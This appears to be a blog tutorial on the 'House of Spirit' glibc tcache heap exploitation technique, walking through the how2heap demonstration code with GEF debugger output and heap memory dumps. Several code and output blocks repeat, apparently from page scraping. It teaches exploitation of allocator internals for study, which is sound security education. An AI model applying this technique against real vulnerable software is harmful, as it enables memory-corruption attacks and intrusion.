June 24, 2026
Introducing to Heap Overflow: how to make ‘malloc()’ return a controlled address (House of Spirit…
In this article, I will describe one of the heap exploitation techniques targeting the tcache mechanism called ‘House of Spirit’. The main…
By Kerkroups
4 min read
In this article, I will describe one of the heap exploitation techniques targeting the tcache mechanism called 'House of Spirit'. The main goal of this attack is to make 'malloc()' return a pointer to a preselected (arbitrary) memory address. Everything written below reflects my understanding of this technique. If you notice any inaccuracies, feel free to point them out in the comments. The original demonstration code can be found in the repository: https://github.com/shellphish/how2heap.git
Throughout this article, I will not only discuss the technique itself, but also explain various aspects of heap internals, the relationship between C code and assembly instructions, and how memory allocator structures behave during execution.
Let's begin
I removed the 'printf()' calls from the original example so that we can focus exclusively on the code and the House of Spirit technique.
#include <stdio.h>
#include <stdlib.h>
#include <assert.h>
int main()
{
setbuf(stdout, NULL);
malloc(1); // Trigger creation of the heap and the first chunk.
unsigned long long *a; // Initialize an empty pointer.
unsigned long long fake_chunks[10] __attribute__((aligned(0x10))); // IMPORTANT: create a memory region that will resemble a heap chunk for malloc/free.
fake_chunks[1] = 0x40; // Write the size field into the fake chunk. For free(), this looks like a chunk of size 0x40 bytes.
a = &fake_chunks[2]; // Obtain a pointer to the fake chunk's user data area. This is exactly the type of pointer normally returned by malloc().
/* The consistency checks performed by free() can be bypassed, allowing our fake chunk to be processed as a legitimate one. */
free(a); // free() calculates the chunk header address and validates its metadata. Since our fake chunk appears valid, glibc places it into tcache as a normal freed chunk.
void *b = malloc(0x30); // malloc() checks tcache first. Since our fake chunk is already there, it is returned instead of allocating a new chunk.
assert((long)b == (long)&fake_chunks[2]); // Verify that malloc() returned an address inside our fake chunk, confirming successful House of Spirit execution.
}#include <stdio.h>
#include <stdlib.h>
#include <assert.h>
int main()
{
setbuf(stdout, NULL);
malloc(1); // Trigger creation of the heap and the first chunk.
unsigned long long *a; // Initialize an empty pointer.
unsigned long long fake_chunks[10] __attribute__((aligned(0x10))); // IMPORTANT: create a memory region that will resemble a heap chunk for malloc/free.
fake_chunks[1] = 0x40; // Write the size field into the fake chunk. For free(), this looks like a chunk of size 0x40 bytes.
a = &fake_chunks[2]; // Obtain a pointer to the fake chunk's user data area. This is exactly the type of pointer normally returned by malloc().
/* The consistency checks performed by free() can be bypassed, allowing our fake chunk to be processed as a legitimate one. */
free(a); // free() calculates the chunk header address and validates its metadata. Since our fake chunk appears valid, glibc places it into tcache as a normal freed chunk.
void *b = malloc(0x30); // malloc() checks tcache first. Since our fake chunk is already there, it is returned instead of allocating a new chunk.
assert((long)b == (long)&fake_chunks[2]); // Verify that malloc() returned an address inside our fake chunk, confirming successful House of Spirit execution.
}An Interesting Detail: Passing Arguments to malloc()
// Function signature: malloc(size_t size)
malloc@plt (
$rdi = 0x0000000000000001, // size
$rsi = 0x0000000000000000, // 2nd arg., not used
$rdx = 0x00007ffff7f95790 → 0x0000000000000000, // 3rd arg., not used
$rcx = 0x00007ffff7f91ee0 → 0x0000000000000000 // 4th arg., not used
)// Function signature: malloc(size_t size)
malloc@plt (
$rdi = 0x0000000000000001, // size
$rsi = 0x0000000000000000, // 2nd arg., not used
$rdx = 0x00007ffff7f95790 → 0x0000000000000000, // 3rd arg., not used
$rcx = 0x00007ffff7f91ee0 → 0x0000000000000000 // 4th arg., not used
)The address returned by 'malloc()' is placed into the RAX register. As we already know, this address points to the beginning of the user-accessible data area of the allocated chunk. In my case, 'malloc()' returned the address:
// 0x00000000 - previous chunk size, 0x00000021 - current chunk size (0x20 = 16 bytes) + flag (P = 0x1)
0x405300: 0x00000000 0x00000000 0x00000021 0x00000000
// malloc() returned the beginning of the user data area at 0x405310
0x405310: 0x00000000 0x00000000 0x00000000 0x00000000// 0x00000000 - previous chunk size, 0x00000021 - current chunk size (0x20 = 16 bytes) + flag (P = 0x1)
0x405300: 0x00000000 0x00000000 0x00000021 0x00000000
// malloc() returned the beginning of the user data area at 0x405310
0x405310: 0x00000000 0x00000000 0x00000000 0x00000000A Quick Look at Chunk Flags
Recall the basic structure of a heap chunk:
|prev_size |
|size|A|M|P |
|User data ||prev_size |
|size|A|M|P |
|User data |The three least significant bits of the size field are used as flags:
- A — NON_MAIN_ARENA, the chunk belongs to an arena other than main_arena.
- M — the chunk was allocated using mmap().
- P — the previous chunk is in use (it has not been freed).
In our example, the chunk size is: 0x20. Since this is the first chunk, the P flag is set: P = 0x1. Combining them: 0x20 + 0x1 = 0x21 which is exactly the value stored in the chunk header.
Passing Arguments to free()
// Function signature: void free(void *);
free@plt (
$rdi = 0x00007fffffffdb70 → 0x0000009e00000006, // First argument. 0x00007fffffffdb70 is the value of *a; 0x0000009e00000006 is the data stored at that address.
$rsi = 0x0000000000000000,
$rdx = 0x0000000000000000,
$rcx = 0x0000000000000021 // Chunk size
)// Function signature: void free(void *);
free@plt (
$rdi = 0x00007fffffffdb70 → 0x0000009e00000006, // First argument. 0x00007fffffffdb70 is the value of *a; 0x0000009e00000006 is the data stored at that address.
$rsi = 0x0000000000000000,
$rdx = 0x0000000000000000,
$rcx = 0x0000000000000021 // Chunk size
)The RAX register will contain the address 0x0000000000405010, which falls within the memory range allocated for the heap.
How can we verify that 0x00007fffffffdb70 is indeed the value stored in a?
gef➤ info locals
a = 0x7fffffffdb70
fake_chunks = {0x8000, 0x40, 0x9e00000006, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0}
b = 0x0gef➤ info locals
a = 0x7fffffffdb70
fake_chunks = {0x8000, 0x40, 0x9e00000006, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0}
b = 0x0At this point, an interesting question arises: "How can we determine where the allocator stores its internal data structures after free(), and where does the reference to our fake chunk actually come from?". To answer this question, let's examine the process memory layout:
gef➤ info proc mappings
process 8974
Mapped address spaces:
Start Addr End Addr Size Offset Perms File
...
0x0000000000405000 0x0000000000426000 0x21000 0x0 rw-p [heap]
...
0x00007ffffffde000 0x00007ffffffff000 0x21000 0x0 rw-p [stack]gef➤ info proc mappings
process 8974
Mapped address spaces:
Start Addr End Addr Size Offset Perms File
...
0x0000000000405000 0x0000000000426000 0x21000 0x0 rw-p [heap]
...
0x00007ffffffde000 0x00007ffffffff000 0x21000 0x0 rw-p [stack]As we can see, the process heap occupies the following range: 0x405000–0x426000. Now let's inspect the beginning of the heap:
gef➤ x/300gw 0x0000000000405000
0x405000: 0x00000000 0x00000000 0x00000301 0x00000000
0x405010: 0x00070007 0x00070006 0x00070007 0x00070007
0x405020: 0x00070007 0x00070007 0x00070007 0x00070007
0x405030: 0x00070007 0x00070007 0x00070007 0x00070007
0x405040: 0x00070007 0x00070007 0x00070007 0x00070007
0x405050: 0x00070007 0x00070007 0x00070007 0x00070007
0x405060: 0x00070007 0x00070007 0x00070007 0x00070007
0x405070: 0x00070007 0x00070007 0x00070007 0x00070007
0x405080: 0x00070007 0x00070007 0x00070007 0x00070007
...
0x4050b0: 0x00000000 0x00000000 0xffffdb70 0x00007fff
...
0x4052f0: 0x00000000 0x00000000 0x00000000 0x00000000
0x405300: 0x00000000 0x00000000 0x00000021 0x00000000
0x405310: 0x00000000 0x00000000 0x00000000 0x00000000gef➤ x/300gw 0x0000000000405000
0x405000: 0x00000000 0x00000000 0x00000301 0x00000000
0x405010: 0x00070007 0x00070006 0x00070007 0x00070007
0x405020: 0x00070007 0x00070007 0x00070007 0x00070007
0x405030: 0x00070007 0x00070007 0x00070007 0x00070007
0x405040: 0x00070007 0x00070007 0x00070007 0x00070007
0x405050: 0x00070007 0x00070007 0x00070007 0x00070007
0x405060: 0x00070007 0x00070007 0x00070007 0x00070007
0x405070: 0x00070007 0x00070007 0x00070007 0x00070007
0x405080: 0x00070007 0x00070007 0x00070007 0x00070007
...
0x4050b0: 0x00000000 0x00000000 0xffffdb70 0x00007fff
...
0x4052f0: 0x00000000 0x00000000 0x00000000 0x00000000
0x405300: 0x00000000 0x00000000 0x00000021 0x00000000
0x405310: 0x00000000 0x00000000 0x00000000 0x00000000Something immediately stands out. The address of our fake chunk is: 0x00007fffffffdb70 and we can see the same value stored inside the heap at: 0x4050b0. This suggests that after free() processes our fake chunk, glibc must store a reference to it somewhere in its internal allocator structures. By examining the beginning of the heap, we can observe that the allocator has indeed preserved a pointer to our fake chunk. GEF interprets this memory region as a chunk and displays a field called Backward pointer, which contains the address of our fake chunk:
gef➤ heap chunk 0x4050b0
Chunk(addr=0x4050b0, size=0x0, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA)
Chunk size: 0 (0x0)
Usable size: 0 (0x0)
Previous chunk size: 1970354902204423 (0x7000700070007)
PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA
Forward pointer: 0x0 // Forward pointer -> points to the next free chunk;
Backward pointer: 0x7fffffffdb70 // Backward pointer -> points to the previous free chunk;gef➤ heap chunk 0x4050b0
Chunk(addr=0x4050b0, size=0x0, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA)
Chunk size: 0 (0x0)
Usable size: 0 (0x0)
Previous chunk size: 1970354902204423 (0x7000700070007)
PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA
Forward pointer: 0x0 // Forward pointer -> points to the next free chunk;
Backward pointer: 0x7fffffffdb70 // Backward pointer -> points to the previous free chunk;According to GEF's interpretation, the backward pointer references our controlled address: 0x7fffffffdb70 which resides on the stack and corresponds to the fake chunk we created earlier. The most interesting observation here is that our fake chunk successfully passed the allocator's checks and was accepted as a legitimate freed chunk. As a result, the allocator now maintains a reference to a memory region that was never allocated by 'malloc()' in the first place. This is the key idea behind the House of Spirit technique. The allocator no longer distinguishes our fake chunk from a genuine freed chunk.
Now consider what happens when we execute:
void *b = malloc(0x30);void *b = malloc(0x30);The allocator first checks the appropriate tcache bin for a chunk of the requested size. Since our fake chunk is already present there, 'malloc()' does not need to create a new allocation. Instead, it simply returns the chunk already stored in the cache:
tcache bin -> 0x7fffffffdb70 -> malloc(0x30) -> returns 0x7fffffffdb70tcache bin -> 0x7fffffffdb70 -> malloc(0x30) -> returns 0x7fffffffdb70As a result, the pointer returned by 'malloc()' points directly into memory that we control. This confirms the successful execution of the House of Spirit technique and demonstrates how a carefully crafted fake chunk can influence future heap allocations.